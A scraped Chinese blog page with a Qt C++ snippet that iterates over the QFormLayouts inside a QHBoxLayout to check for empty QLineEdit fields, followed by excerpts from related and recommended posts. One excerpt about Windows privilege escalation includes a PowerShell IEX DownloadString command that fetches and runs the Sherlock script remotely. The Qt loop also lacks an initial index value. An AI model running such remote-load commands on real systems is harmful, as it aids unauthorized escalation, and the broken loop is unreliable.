QHBoxLayout 、QFormLayout 遍历子部件,查找QLineEdit控件
布局如下: QLineEdit * edit1 = new QLineEdit;
QLineEdit * edit2 = new QLineEdit;
QLineEdit * edit3 = new QLineEdit;
QLineEdit * edit4 = new QLineEdit; QFormLayout * formLayout1 = new QFormLayout;
QFormLayout * formLayout2 = new QFormLayout; formLayout1->addRow(QStringLiteral("编辑1"), edit1);
formLayout1->addRow(QStringLiteral("编辑2"), edit2); formLayout2->addRow(QStringLiteral("编辑3"), edit3);
formLayout2->addRow(QStringLiteral("编辑4"), edit4); QHBoxLayout * hLayout = new QHBoxLayout;
hLayout->addLayout(formLayout1);
hLayout->addLayout(formLayout2); ...
遍历查找每一个布局,判断QLineEdit输入是否为空
foreach(auto formLayoutChild, hLayout->children())
{
QFormLayout * formLayout = qobject_cast<QFormLayout*>(formLayoutChild);
if (formLayout != nullptr)
{
int itemCount = formLayout->count();
for(int itemIndex = ; itemIndex < itemCount; itemIndex++)
{
QLayoutItem * item = formLayout->itemAt(itemIndex);
QLineEdit * lineEdit = qobject_cast<QLineEdit*>(item->widget());
if (lineEdit != nullptr)
{
if (lineEdit->text().isEmpty())
{
return false;
}
}
}
}
}
return true;
QHBoxLayout 、QFormLayout 遍历子部件,查找QLineEdit控件的更多相关文章
- C#中父窗口和子窗口之间实现控件互操作
		很多人都苦恼于如何在子窗体中操作主窗体上的控件,或者在主窗体中操作子窗体上的控件.相比较而言,后面稍微简单一些,只要在主窗体中创建子窗体的时候,保留所创建子窗体对象即可. 下面重点介绍前一种,目前常见 ... 
- C#子线程更新UI控件的方法总结
		http://blog.csdn.net/jqncc/article/details/16342121 在winform C/S程序中经常会在子线程中更新控件的情况,桌面程序UI线程是主线程,当试图从 ... 
- qlineedit控件获得焦点
		出处:http://blog.sina.com.cn/s/blog_640531380100wld9.html qlineedit控件获得焦点 lineEdit->setFocus(); 
- [转]MFC子线程中更新控件内容的两种办法
		一.概述 每个系统中都有线程(至少都有一个主线程),而线程最重要的作用就是并行处理,提高软件的并发率.针对界面来说,还能提高界面的响应能力.一般的,为了应用的稳定性,在数据处理等耗时操作会单独在一个线 ... 
- C#之菜单控件、主窗体打开子窗体、GroupBox控件使用
		一.背景 一年前有学习过C#,但没有在项目中去实际做APP,重新捡起来应用到项目中.我同事本来做好一个CANOPEN设备管理的界面,由于近期搜索了别人的开发的界面,我觉得有很多东西要重新安排,以及我已 ... 
- WPF遍历当前容器中某种控件的方法
		原文:WPF遍历当前容器中某种控件的方法 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/m0_37591671/article/details/79 ... 
- appium通过index查找目标控件
		2.1 通过判断控件属性获取控件 控件的所有属性都可以用作判断,比如它的text,index,resource-id是否clickable等,例如: 2.1.1 通过文本查找目标控件 1 2 el = ... 
- delphi如何按照控件的左右顺序来遍历窗体中的每个控件 [问题点数:20      http://bbs.csdn.net/topics/380216822
		delphi如何按照控件的左右顺序来遍历窗体中的每个控件delphi默认是按照控件添加进窗体的顺序来遍历的,有没有哪个属性能控制这个/?? 更多0分享到: 对我有用[0] 丢个板砖[0] 引用 | ... 
- Robotium查找指定控件
		一.通过ID查找控件 Activity act=solo.getCurrentActivity(): int id=act.getResources().getIdentifier("id名 ... 
随机推荐
- [跨域问题]ssm+vue前后台分离跨域问题解决方法
			跨域未解决时: Access to XMLHttpRequest at 'http://localhost:8080/vue/findall from origin 'http://localhost ... 
- hadoop格式化:java.io.IOException: Incompatible clusterIDs in /home/lxh/hadoop/hdfs/data: namenode clusterID
			1 概述 解决hadoop启动hdfs时,datanode无法启动的问题.错误为: java.io.IOException: Incompatible clusterIDs in /home/lxh ... 
- .net core 加载项目提示项目文件不完整,dotnet提示不是内部或外部命令
			记录一下 在系统环境变量中PATH添加如下: C:\Windows;C:\Windows\System32\System32\Wbem;C:\Windows\System32; 
- ASP.NET CORE 2.2 因外键设置的双向导航对象序列化报 循环错误问题的解决
			报错如下: 设置的示例: 解决方案: 在Startup.cs文件中,增加如下代码: services.AddMvc().SetCompatibilityVersion(CompatibilityVer ... 
- 如何设计提高服务API的安全性(二)API密钥方式详解
			在上文已经讲述了基础介绍,这篇文章详细讲解API密钥方式. 利用何种加密方式呢? 经过上面加密算法的理解,单向加密不仅性能高,而且有压缩性,即长度一致,有效减少网络传输过程中的字节大小.适合我们这种调 ... 
- vue + yarn 创建项目
			前期准备工作node,npm,vue,yarn等环境要准备好 1.命令行vue init webpack myproject 2.使用vs code打开项目文件夹, vs终端运行一下yarn 3.添加 ... 
- elementUI,设置日期,只能选择今天和今天以后的, :picker-options="pickerOptions"
			1. html 加 :picker-options="pickerOptions" <el-date-picker v-model="shop.receive_ti ... 
- windows 提权脚本利用
			本地加载: Import-Module Sherlock.ps1 远程加载: IEX (New-Object System.Net.Webclient).DownloadString('https:/ ... 
- ApiPost(中文版postman)如何发送一个随机数或者时间戳?
			什么是ApiPost内建变量:ApiPost提供了5个内建变量,如下: {{$guid}} //生成GUID {{$timestamp}} //当前时间戳 {{$microTimestamp}} // ... 
- elasticsearch查询篇索引映射文档数据准备
			elasticsearch查询篇索引映射文档数据准备 我们后面要讲elasticsearch查询,先来准备下索引,映射以及文档: 我们先用Head插件建立索引film,然后建立映射 POST http ... 
